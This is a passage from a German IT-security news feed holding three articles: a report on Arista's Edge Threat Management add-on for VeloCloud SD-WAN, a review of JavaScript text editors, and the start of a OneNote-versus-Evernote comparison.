<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die besten JavaScript-Editoren]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Diese Texteditoren bringen JavaScript-Developer weiter.  R.Narong | shutterstock.com



JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen w...]]></description>
<link>https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Diese Texteditoren bringen JavaScript-Developer weiter.  </figcaption></figure><p class="imageCredit">R.Narong | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" target="_blank">JavaScript</a>-Entwicklern stehen viele gute Tools <a href="https://www.computerwoche.de/article/2821289/7-javascript-projekte-die-sie-kennen-sollten.html" target="_blank">zur Auswahl</a>. Beinahe <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">zu viele</a>, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:</p>



<ul class="wp-block-list">
<li>mit JavaScript, HTML5 und CSS zu entwickeln, sowie</li>



<li>mit <a href="https://www.computerwoche.de/article/3995075/was-ist-markdown.html" target="_blank">Markdown</a> zu dokumentieren.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.sublimetext.com/" target="_blank" rel="noreferrer noopener">Sublime Text</a></h2>



<p class="wp-block-paragraph">Bei Sublime Text sind Sie genau richtig, wenn:</p>



<ul class="wp-block-list">
<li>Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.</li>



<li>es Ihnen nichts ausmacht, für Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  </li>
</ul>



<p class="wp-block-paragraph">Zu den vielen weiteren, bemerkenswerten Stärken von <a href="https://www.computerwoche.de/article/3607168/code-editor-vergleich-visual-studio-code-vs-sublime-text.html" target="_blank">Sublime Text</a> gehören neben seiner Geschwindigkeit und dem Support für mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:</p>



<ul class="wp-block-list">
<li>Instant-Navigation und Projekt-Switching,</li>



<li>die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszuführen,</li>



<li>Support für mehrere Bildschirme und Split-Windows,</li>



<li>eine Plug-in-API auf Python-Basis, sowie</li>



<li>eine einheitliche, durchsuchbare Befehlspalette.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar. </figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Für Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstützt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln für die Syntaxhervorhebung geht.</p>



<p class="wp-block-paragraph">Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des <a href="https://sublime.wbond.net/browse" target="_blank" rel="noreferrer noopener">Package Installers</a> sind diverse zusätzliche Funktionen verfügbar.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat für die Business-Version; 99 Dollar für eine Privatlizenz (Support für drei Jahre);</li>



<li><strong>Plattformen</strong>: Windows, macOS und Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://code.visualstudio.com/" target="_blank" rel="noreferrer noopener">Visual Studio Code</a></h2>



<p class="wp-block-paragraph">Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>ASP.Net Core Development mit C# und</li>



<li>Node.js Development mit TypeScript und JavaScript.</li>
</ul>



<p class="wp-block-paragraph">Dank des TypeScript-Compilers und der Salsa-Engine bietet <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Während Sie eine Expression eingeben, ermöglicht dieselbe Symboltabelle es IntelliSense, diverse nützliche Pop-up-Optionen zur Codevervollständigung zur Verfügung zu stellen.</p>



<p class="wp-block-paragraph">Der Support für <a href="https://www.computerwoche.de/article/2812266/was-ist-git.html" target="_blank">Git</a> ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://brackets.io/?lang=de" target="_blank" rel="noreferrer noopener">Brackets</a></h2>



<p class="wp-block-paragraph">Brackets ist ein kostenloser Open-Source-Editor, der ursprünglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools für JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.</p>



<p class="wp-block-paragraph">Zusätzlich zu den integrierten Funktionen verfügt Brackets über einen Extension Manager. Der ist auch nötig, denn die sind für diverse Programmiersprachen und Tools aus der Welt der <a href="https://www.computerwoche.de/article/2824968/3-wege-zum-vorzeige-frontend.html" target="_blank">Frontend-Entwickler</a> verfügbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>JavaScript,</li>



<li>CSS,</li>



<li>HTML und</li>



<li>Node.js.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus bietet Brackets weitere nützliche Funktionen wie beispielsweise:</p>



<ul class="wp-block-list">
<li>CSS inline in Verbindung mit einer HTML-ID bearbeiten,</li>



<li>eine übersichtliche Benutzeroberfläche und</li>



<li>eine Live-Vorschau für Webseiten in Bearbeitung.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Brackets ist in erster Linie für die Webentwicklung konzipiert.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" target="_blank">TypeScript</a>– und <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a>-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://github.com/atom" target="_blank" rel="noreferrer noopener">Atom</a></h2>



<p class="wp-block-paragraph">Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.</p>



<p class="wp-block-paragraph">Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Der Open-Source-Editor von GitHub kann in der Praxis überzeugen.</figcaption></figure><p class="imageCredit">IDG</p></div>



<p class="wp-block-paragraph">In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und überzeugt unter anderem mit:</p>



<ul class="wp-block-list">
<li>einem “Fuzzy-Finder”,</li>



<li>der Möglichkeit, schnell und projektübergreifend zu suchen,</li>



<li>Multi-Cursor- und Windows-Optionen,</li>



<li>Snippets und Code-Folding sowie</li>



<li>der Möglichkeit, TextMate-Grammatiken und -Themen zu importieren.</li>
</ul>



<p class="wp-block-paragraph">Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenüelement enthält.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://notepad-plus-plus.org/" target="_blank" rel="noreferrer noopener">Notepad++</a></h2>



<p class="wp-block-paragraph">Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.</p>



<p class="wp-block-paragraph">Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:</p>



<ul class="wp-block-list">
<li>Code zu generieren,</li>



<li>Refactoring anzustoßen oder</li>



<li>schnell durch große Projekte zu navigieren.</li>
</ul>



<p class="wp-block-paragraph">Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: Windows;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.barebones.com/products/bbedit/" target="_blank" rel="noreferrer noopener">BBEdit</a></h2>



<p class="wp-block-paragraph">Mit BBEdit steht auch für macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstützt etwa 35 Programmier- und Markup-Sprachen. Für viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) über die BBEdit-Website verfügbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung für Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die <a href="https://www.computerwoche.de/article/2833711/version-control-systems-ein-ratgeber.html" target="_blank">Versionskontrollsysteme</a> Git, Perforce und Subversion integrieren.</p>



<p class="wp-block-paragraph">BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer für die Vollversion;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://macromates.com/" target="_blank" rel="noreferrer noopener">TextMate</a></h2>



<p class="wp-block-paragraph">Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber über Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.</p>



<p class="wp-block-paragraph">Für eine IDE-ähnliche Funktionalität können Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, können Sie Ihre JavaScript-Tests auf dieser Ebene natürlich trotzdem automatisieren.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">TextMate bietet diverse Bundles.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch Support für Markdown wird über ein integriertes Bundle bereitgestellt. Dieses enthält:</p>



<ul class="wp-block-list">
<li>eine Preview-Funktion für Dokumente,</li>



<li>ein Markdown-„Cheatsheet“ sowie</li>



<li>diverse Tastenkombinationen, um Markup zu generieren.</li>
</ul>



<p class="wp-block-paragraph">Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle können Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.infoworld.com/article/2252269/review-the-10-best-javascript-editors.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OneNote vs. Evernote: Notiz-Apps im Vergleich]]></title>
<description><![CDATA[Evernote und OneNote tragen den Kampf um die Notiz-App-Krone unter sich aus. 
					Foto: Bonya_06_Inna_Kharlamova_Makini_Caravello – shutterstock.com




Geht es um die richtige Notiz-App, fällt die Entscheidung im Regelfall zwischen OneNote von Microsoft und Evernote, das inzwischen dem italieni...]]></description>
<link>https://tsecurity.de/de/3685167/it-security-nachrichten/onenote-vs-evernote-notiz-apps-im-vergleich/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685167/it-security-nachrichten/onenote-vs-evernote-notiz-apps-im-vergleich/</guid>
<pubDate>Wed, 22 Jul 2026 05:06:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Evernote und OneNote tragen den Kampf um die Notiz-App-Krone unter sich aus. " title="Evernote und OneNote tragen den Kampf um die Notiz-App-Krone unter sich aus. " src="https://images.computerwoche.de/bdb/3380610/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Evernote und OneNote tragen den Kampf um die Notiz-App-Krone unter sich aus. </p></figcaption></figure><p class="imageCredit">
					Foto: Bonya_06_Inna_Kharlamova_Makini_Caravello – shutterstock.com</p></div>




<p class="wp-block-paragraph">Geht es um die richtige Notiz-App, fällt die Entscheidung im Regelfall zwischen OneNote von Microsoft und Evernote, das inzwischen dem italienischen Softwareunternehmen <a href="https://www.computerwoche.de/article/2818214/zweiter-fruehling-fuer-die-notizen-app.html" title="Bending Spoons gehört" target="_blank">Bending Spoons gehört</a>. </p>



<ul class="wp-block-list">
<li><p><strong>OneNote</strong> ist seit dem Jahr 2003 auf dem Markt und wurde 2007 in Microsofts Office-Suite aufgenommen (die meisten Versionen laufen inzwischen unter dem Namen Microsoft 365). Zudem wird OneNote auch mit Windows 10 und 11 gebündelt und als eigenständiges Produkt kostenlos angeboten. Das eröffnet eine potenzielle Nutzerbasis von rund einer Milliarde Systemen.</p></li>



<li><p><strong>Evernote</strong> feierte im Jahr 2008 sein Marktdebüt und erfreut sich seither stetig wachsender Nutzerzahlen. Unternehmensangaben zufolge sind es inzwischen weltweit rund 225 Millionen User.</p></li>
</ul>



<p class="wp-block-paragraph">Sowohl OneNote als auch Evernote sind für alle wichtigen Desktop- und Mobile-Betriebssysteme verfügbar. Beide sind in der Lage, Notizen mit allen Geräten und dem Internet zu synchronisieren und beide versprechen, die einzige notwendige App für Notizen zu sein. Stellt sich die Frage: Was ist die bessere Wahl für <a href="https://www.computerwoche.de/article/2795948/die-besten-productivity-apps.html" title="Business-Nutzer" target="_blank">Business-Nutzer</a>?</p>



<p class="wp-block-paragraph">Wir haben uns die jeweils aktuellen Versionen beider Notiz-Apps für <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, macOS, iPadOS, iOS und <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> angesehen und sagen Ihnen, worin sich OneNote und Evernote im Wesentlichen unterscheiden. </p>



<h2 class="wp-block-heading">One Note: Organisationskrösus</h2>



<p class="wp-block-paragraph"><a href="https://www.microsoft.com/de-de/microsoft-365/onenote/digital-note-taking-app" title="OneNote" target="_blank" rel="noopener">OneNote</a> ist eine vollwertige Anwendung. Mit ihr können Sie einfache oder komplexe Notizen von Grund auf neu erstellen, sie in durchsuchbaren Notizbüchern organisieren und mit einer Vielzahl von Plattformen synchronisieren – zum Beispiel <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-PCs, Macs, iPads und iPhones sowie <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Geräten.</p>



<p class="wp-block-paragraph">Außerdem strotzt Microsofts Notiz-App nur so vor Werkzeugen – beispielsweise um:</p>



<ul class="wp-block-list">
<li><p>Notizen zu erstellen und zu bearbeiten,</p></li>



<li><p>zu zeichnen,</p></li>



<li><p>Audio- und Videoaufnahmen zu erstellen,</p></li>



<li><p>Bilder zu scannen oder</p></li>



<li><p>Tabellenkalkulationen einzubetten,</p></li>
</ul>



<p class="wp-block-paragraph">OneNote wird allmählich immer stärker in die <a href="https://www.computerwoche.de/article/3523691/microsoft-365-erklart.html" target="_blank">Microsoft-365-Suite</a> integriert. Für Unternehmen ist die Live-Zusammenarbeit besonders wichtig und sie funktioniert hier ebenso so wie in anderen Microsoft-365-Anwendungen. Besonders gut lässt sich OneNote dabei in <a title="Microsoft Teams" href="https://www.computerwoche.de/article/2795511/microsoft-teams-optimal-nutzen.html" target="_blank">Microsoft Teams</a> integrieren: Notizbücher lassen sich Teams hinzufügen – jeder innerhalb des Kanals kann diese anschließend anzeigen und bearbeiten (entsprechende Zugriffsrechte vorausgesetzt).</p>



<p class="wp-block-paragraph"><strong>Web-Clipping</strong></p>



<p class="wp-block-paragraph">So gut OneNote auch sein mag, wenn es darum geht Notizen zu erstellen: Es bleibt hinter den beträchtlichen Möglichkeiten von Evernote zurück, wenn es um das Clipping von Webinhalten geht. Dazu bietet OneNote ein Browser-Addon (Microsoft Edge, <a href="https://www.computerwoche.de/article/2805495/so-arbeiten-sie-besser-mit-google-chrome.html" title="Google Chrome" target="_blank">Google Chrome</a> und Mozilla Firefox) namens OneNote Web Clipper. Mit diesem Tool können Sie Screenshots in OneNote speichern – wenn es denn so funktioniert wie es soll.</p>



<p class="wp-block-paragraph"><strong>Versionsunterschiede</strong></p>



<p class="wp-block-paragraph">Die <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Version von OneNote kann mit der vollen Bandbreite an Tools glänzen. Im Vergleich bietet Evernote nicht annähernd so viele ausgefeilte Tools. Die Versionen für Web, <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>, iPadOS und macOS fallen hingegen ab. Sie sehen zwar ähnlich aus wie die <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-App, bieten im Vergleich aber weniger und teilweise eingeschränkte Funktionen. So können Sie hier etwa keine Tabellenkalkulationen integrieren oder Videoinhalte aufzeichnen. Die <a href="https://apps.apple.com/de/app/microsoft-onenote/id410395246" title="iOS-Version" target="_blank" rel="noopener">iOS-Version</a> hebt sich hingegen mit einer schlanken Benutzeroberfläche ab, die darauf optimiert ist, schnell Notizen zu erstellen oder zu bearbeiten. </p>



<p class="wp-block-paragraph"><strong>KI-Funktionen</strong></p>



<p class="wp-block-paragraph">Seit Mitte Januar 2024 bietet Microsoft mit <a title="Copilot Pro" href="https://www.computerwoche.de/article/2831382/microsoft-oeffnet-copilot-fuer-alle-office-nutzer.html" target="_blank">Copilot Pro</a> KI-Integration im Abomodell an – auch für OneNote.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">🧠 Work smarter with Copilot Notebooks in OneNote — your new AI-powered space to think, organize, and create. Bring all your content together and let Copilot help you get to insights, faster. <br><br>Learn more: <a href="https://t.co/c63JbghHcH">https://t.co/c63JbghHcH</a></p>— Microsoft OneNote (@msonenote) <a href="https://x.com/msonenote/status/1940802718257357260?ref_src=twsrc%5Etfw">July 3, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph"><strong>Storage und Preise</strong></p>



<p class="wp-block-paragraph">OneNote synchronisiert seine Inhalte mit all Ihren Geräten und mit dem Internet über Microsoft OneDrive oder SharePoint. OneNote ist in <a href="https://www.computerwoche.de/article/3523691/microsoft-365-erklart.html" target="_blank">Microsoft 365</a> enthalten. Ohne M365-Abo erhalten Sie bis zu 5 GB Cloud-Speicherplatz. Zusätzlichen Speicherplatz können Sie zukaufen. Wenn Sie (oder Ihr Unternehmen) ein Microsoft-365-Abonnement abschließen, erhalten Sie wesentlich mehr Speicherplatz: zwischen 100 GB und 6 TB – je nachdem, für <a title="welchen Plan" href="https://www.microsoft.com/de-de/microsoft-365/buy/compare-all-microsoft-365-products" target="_blank" rel="noopener">welchen Plan</a> Sie sich entscheiden.</p>



<h2 class="wp-block-heading">Evernote: Web-Clipping-King</h2>



<p class="wp-block-paragraph"><a href="https://evernote.com/intl/de" title="Evernote" target="_blank" rel="noopener">Evernote</a> ist ein ganz anderes Kaliber als OneNote. Es bietet zwar die gleichen Grundfunktionalitäten: die Möglichkeit, Notizen zu erstellen, zu organisieren und mit mehreren Plattformen (<a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, macOS, iPadOS, iOS, <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>, Web) zu synchronisieren. Dabei bietet die App im Vergleich zu OneNote allerdings eine signifikant farbenfrohere und einladendere Benutzeroberfläche – und eignet sich hervorragend, um Web-Content auszuschneiden und abzuspeichern.</p>



<p class="wp-block-paragraph">Der Startbildschirm von Evernote bietet diverse Widgets für den schnellen Zugriff auf Notizen, Notizbücher, kürzlich aufgenommene Bilder und vieles mehr. Ein zusätzliches Suchfeld garantiert zudem, dass Sie immer finden wonach Sie suchen. Die Widgets auf Ihrem Startbildschirm können Sie ganz nach Ihren Wünschen hinzufügen oder entfernen.</p>



<p class="wp-block-paragraph">Evernote bietet allerdings nicht annähernd so viele Werkzeuge zur Erstellung von Notizen wie OneNote. Zu den verfügbaren Features gehören zum Beispiel:</p>



<ul class="wp-block-list">
<li><p>Texte erstellen, bearbeiten und formatieren,</p></li>



<li><p>Tabellen, Dateien und Bilder einbetten,</p></li>



